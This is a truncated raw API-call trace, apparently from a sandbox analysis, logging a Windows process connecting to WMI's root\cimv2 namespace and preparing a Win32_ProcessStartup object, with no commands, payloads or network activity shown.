This=0x1b4b08a0, lFlags=8, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.749] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d190 | out: ppv=0x1b30d190*=0x1b482f70) returned 0x0 [0126.749] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b482f70, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d3d8 | out: ppNamespace=0x1b30d3d8*=0x1b4ce8c0) returned 0x0 [0126.944] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ce8c0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30d008 | out: ppvObject=0x1b30d008*=0x1b510b70) returned 0x0 [0126.944] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b510b70, pProxy=0x1b4ce8c0, pAuthnSvc=0x1b30d0d0, pAuthzSvc=0x1b30d050, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054, pImpLevel=0x1b30d060, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064 | out: pAuthnSvc=0x1b30d0d0*=0xa, pAuthzSvc=0x1b30d050*=0x0, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054*=0x6, pImpLevel=0x1b30d060*=0x2, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064*=0x1) returned 0x0 [0126.944] WbemLocator:IUnknown:Release (This=0x1b510b70) returned 0x1 [0126.945] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ce8c0, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfa0 | out: ppvObject=0x1b30cfa0*=0x1b510bb8) returned 0x0 [0126.945] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ce8c0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfb0 | out: ppvObject=0x1b30cfb0*=0x1b510b70) returned 0x0 [0126.945] WbemLocator:IClientSecurity:SetBlanket (This=0x1b510b70, pProxy=0x1b4ce8c0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0126.945] WbemLocator:IUnknown:Release (This=0x1b510b70) returned 0x2 [0126.945] WbemLocator:IUnknown:Release (This=0x1b510bb8) returned 0x1 [0126.945] CoTaskMemFree (pv=0x1b461af0) [0126.945] WbemLocator:IUnknown:Release (This=0x1b482f70) returned 0x0 [0126.945] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ce8c0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x1b510bb8) returned 0x0 [0126.945] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510bb8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb30 | out: ppvObject=0x1b30cb30*=0x0) returned 0x80004002 [0126.951] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510bb8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x0) returned 0x80004002 [0126.952] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ce8c0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c328 | out: ppvObject=0x1b30c328*=0x0) returned 0x80004002 [0126.957] WbemLocator:IUnknown:AddRef (This=0x1b510bb8) returned 0x3 [0126.957] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510bb8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c1e8 | out: ppvObject=0x1b30c1e8*=0x0) returned 0x80004002 [0126.957] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510bb8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c170 | out: ppvObject=0x1b30c170*=0x0) returned 0x80004002 [0126.957] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510bb8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c160 | out: ppvObject=0x1b30c160*=0x1b510a98) returned 0x0 [0126.957] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b510a98, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c188 | out: pCid=0x1b30c188*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0126.957] WbemLocator:IUnknown:Release (This=0x1b510a98) returned 0x3 [0126.957] CoGetContextToken (in: pToken=0x1b30c210 | out: pToken=0x1b30c210) returned 0x0 [0126.957] CoGetContextToken (in: pToken=0x1b30c690 | out: pToken=0x1b30c690) returned 0x0 [0126.957] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510bb8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x1b510b80) returned 0x0 [0126.957] WbemLocator:IRpcOptions:Query (in: This=0x1b510b80, pPrx=0x1b510bb8, dwProperty=2, pdwValue=0x1b30c740 | out: pdwValue=0x1b30c740) returned 0x80004002 [0126.957] WbemLocator:IUnknown:Release (This=0x1b510b80) returned 0x3 [0126.957] WbemLocator:IUnknown:Release (This=0x1b510bb8) returned 0x2 [0126.957] CoGetContextToken (in: pToken=0x1b30cd50 | out: pToken=0x1b30cd50) returned 0x0 [0126.957] CoGetContextToken (in: pToken=0x1b30cc50 | out: pToken=0x1b30cc50) returned 0x0 [0126.957] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510bb8, riid=0x1b30cdb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30cd80 | out: ppvObject=0x1b30cd80*=0x1b4ce8c0) returned 0x0 [0126.958] WbemLocator:IUnknown:AddRef (This=0x1b4ce8c0) returned 0x4 [0126.958] WbemLocator:IUnknown:Release (This=0x1b4ce8c0) returned 0x3 [0126.958] WbemLocator:IUnknown:Release (This=0x1b4ce8c0) returned 0x2 [0126.958] SysStringLen (param_1=0x0) returned 0x0 [0126.958] CoGetContextToken (in: pToken=0x1b30cf00 | out: pToken=0x1b30cf00) returned 0x0 [0126.958] WbemLocator:IUnknown:AddRef (This=0x1b510bb8) returned 0x3 [0126.958] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510bb8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf00 | out: ppvObject=0x1b30cf00*=0x1b510bb8) returned 0x0 [0126.958] WbemLocator:IUnknown:Release (This=0x1b510bb8) returned 0x3 [0126.958] WbemLocator:IUnknown:Release (This=0x1b510bb8) returned 0x2 [0126.958] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af760, lFlags=2, puBuffLength=0x1b30d600*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d600*=0x15, pszText=0x0) returned 0x0 [0126.958] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af760, lFlags=2, puBuffLength=0x1b30d600*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d600*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0126.958] IWbemServices:GetObject (in: This=0x1b4ce8c0, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b30d580*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d580*=0x1b4d86c0, ppCallResult=0x0) returned 0x0 [0126.961] IWbemClassObject:Get (in: This=0x1b4d86c0, wszName="__PATH", lFlags=0, pVal=0x1b30d510*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d678*=0, plFlavor=0x1b30d670*=0 | out: pVal=0x1b30d510*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b30d678*=8, plFlavor=0x1b30d670*=64) returned 0x0 [0126.961] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0126.961] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0126.961] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d548 | out: ppv=0x1b30d548*=0x6124e8) returned 0x0 [0126.961] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d538 | out: pAptType=0x1b30d538*=1) returned 0x0 [0126.961] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d540 | out: ppvObject=0x1b30d540*=0x0) returned 0x80004002 [0126.961] IUnknown:Release (This=0x6124e8) returned 0x1 [0126.962] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c938 | out: ppv=0x1b30c938*=0x1b482bb0) returned 0x0 [0126.962] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b482bb0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ca20 | out: ppvObject=0x1b30ca20*=0x0) returned 0x80004002 [0126.962] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b482bb0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9f8 | out: ppvObject=0x1b30c9f8*=0x1b4afa60) returned 0x0 [0126.962] WbemDefPath:IUnknown:Release (This=0x1b482bb0) returned 0x0 [0126.962] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afa60, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c7a0 | out: ppvObject=0x1b30c7a0*=0x1b4afa60) returned 0x0 [0126.962] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afa60, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c830 | out: ppvObject=0x1b30c830*=0x0) returned 0x80004002 [0126.962] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afa60, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c028 | out: ppvObject=0x1b30c028*=0x0) returned 0x80004002 [0126.963] WbemDefPath:IUnknown:AddRef (This=0x1b4afa60) returned 0x3 [0126.963] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afa60, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bee8 | out: ppvObject=0x1b30bee8*=0x0) returned 0x80004002 [0126.963] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afa60, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be70 | out: ppvObject=0x1b30be70*=0x0) returned 0x80004002 [0126.963] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afa60, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be60 | out: ppvObject=0x1b30be60*=0x1b482bf0) returned 0x0 [0126.963] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b482bf0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be88 | out: pCid=0x1b30be88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0126.963] WbemDefPath:IUnknown:Release (This=0x1b482bf0) returned 0x3 [0126.963] CoGetContextToken (in: pToken=0x1b30bf10 | out: pToken=0x1b30bf10) returned 0x0 [0126.963] CoGetContextToken (in: pToken=0x1b30c390 | out: pToken=0x1b30c390) returned 0x0 [0126.963] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afa60, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c450 | out: ppvObject=0x1b30c450*=0x0) returned 0x80004002 [0126.963] WbemDefPath:IUnknown:Release (This=0x1b4afa60) returned 0x2 [0126.963] WbemDefPath:IUnknown:Release (This=0x1b4afa60) returned 0x1 [0126.963] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0126.963] CoGetContextToken (in: pToken=0x1b30d080 | out: pToken=0x1b30d080) returned 0x0 [0126.963] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afa60, riid=0x1b30d1e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d1b0 | out: ppvObject=0x1b30d1b0*=0x1b4afa60) returned 0x0 [0126.963] WbemDefPath:IUnknown:AddRef (This=0x1b4afa60) returned 0x3 [0126.963] WbemDefPath:IUnknown:Release (This=0x1b4afa60) returned 0x2 [0126.963] WbemDefPath:IWbemPath:SetText (This=0x1b4afa60, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0126.963] IWbemClassObject:Get (in: This=0x1b4d86c0, wszName="CreateFlags", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29125c8*=0, plFlavor=0x29125cc*=0 | out: pVal=0x1b30d590*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29125c8*=19, plFlavor=0x29125cc*=0) returned 0x0 [0126.964] IWbemClassObject:Get (in: This=0x1b4d86c0, wszName="CreateFlags", lFlags=0, pVal=0x1b30d580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29125c8*=19, plFlavor=0x29125cc*=0 | out: pVal=0x1b30d580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29125c8*=19, plFlavor=0x29125cc*=0) returned 0x0 [0126.964] IWbemClassObject:Put (This=0x1b4d86c0, wszName="CreateFlags", lFlags=0, pVal=0x1b30d5e0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0126.964] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b07e0, puCount=0x1b30d568 | out: puCount=0x1b30d568*=0x0) returned 0x0 [0126.964] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0126.964] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0126.964] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.964] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d478 | out: ppv=0x1b30d478*=0x6124e8) returned 0x0 [0126.964] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d468 | out: pAptType=0x1b30d468*=1) returned 0x0 [0126.964] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d470 | out: ppvObject=0x1b30d470*=0x0) returned 0x80004002 [0126.964] IUnknown:Release (This=0x6124e8) returned 0x1 [0126.965] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c868 | out: ppv=0x1b30c868*=0x1b483170) returned 0x0 [0126.965] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b483170, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c950 | out: ppvObject=0x1b30c950*=0x0) returned 0x80004002 [0126.965] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b483170, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c928 | out: ppvObject=0x1b30c928*=0x1b4b0660) returned 0x0 [0126.968] WbemDefPath:IUnknown:Release (This=0x1b483170) returned 0x0 [0126.968] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6d0 | out: ppvObject=0x1b30c6d0*=0x1b4b0660) returned 0x0 [0126.968] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c760 | out: ppvObject=0x1b30c760*=0x0) returned 0x80004002 [0126.969] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf58 | out: ppvObject=0x1b30bf58*=0x0) returned 0x80004002 [0126.969] WbemDefPath:IUnknown:AddRef (This=0x1b4b0660) returned 0x3 [0126.969] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30be18 | out: ppvObject=0x1b30be18*=0x0) returned 0x80004002 [0126.969] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bda0 | out: ppvObject=0x1b30bda0*=0x0) returned 0x80004002 [0126.969] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd90 | out: ppvObject=0x1b30bd90*=0x1b483190) returned 0x0 [0126.969] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b483190, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bdb8 | out: pCid=0x1b30bdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0126.969] WbemDefPath:IUnknown:Release (This=0x1b483190) returned 0x3 [0126.969] CoGetContextToken (in: pToken=0x1b30be40 | out: pToken=0x1b30be40) returned 0x0 [0126.969] CoGetContextToken (in: pToken=0x1b30c2c0 | out: pToken=0x1b30c2c0) returned 0x0 [0126.969] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c380 | out: ppvObject=0x1b30c380*=0x0) returned 0x80004002 [0126.969] WbemDefPath:IUnknown:Release (This=0x1b4b0660) returned 0x2 [0126.969] WbemDefPath:IUnknown:Release (This=0x1b4b0660) returned 0x1 [0126.969] CoGetContextToken (in: pToken=0x1b30d0b0 | out: pToken=0x1b30d0b0) returned 0x0 [0126.969] CoGetContextToken (in: pToken=0x1b30cfb0 | out: pToken=0x1b30cfb0) returned 0x0 [0126.969] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x1b30d110*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d0e0 | out: ppvObject=0x1b30d0e0*=0x1b4b0660) returned 0x0 [0126.969] WbemDefPath:IUnknown:AddRef (This=0x1b4b0660) returned 0x3 [0126.969] WbemDefPath:IUnknown:Release (This=0x1b4b0660) returned 0x2 [0126.969] WbemDefPath:IWbemPath:SetText (This=0x1b4b0660, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0126.970] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0660, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0126.970] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0660, lFlags=4, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0126.970] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0660, lFlags=4, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.970] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0126.970] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0126.970] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, 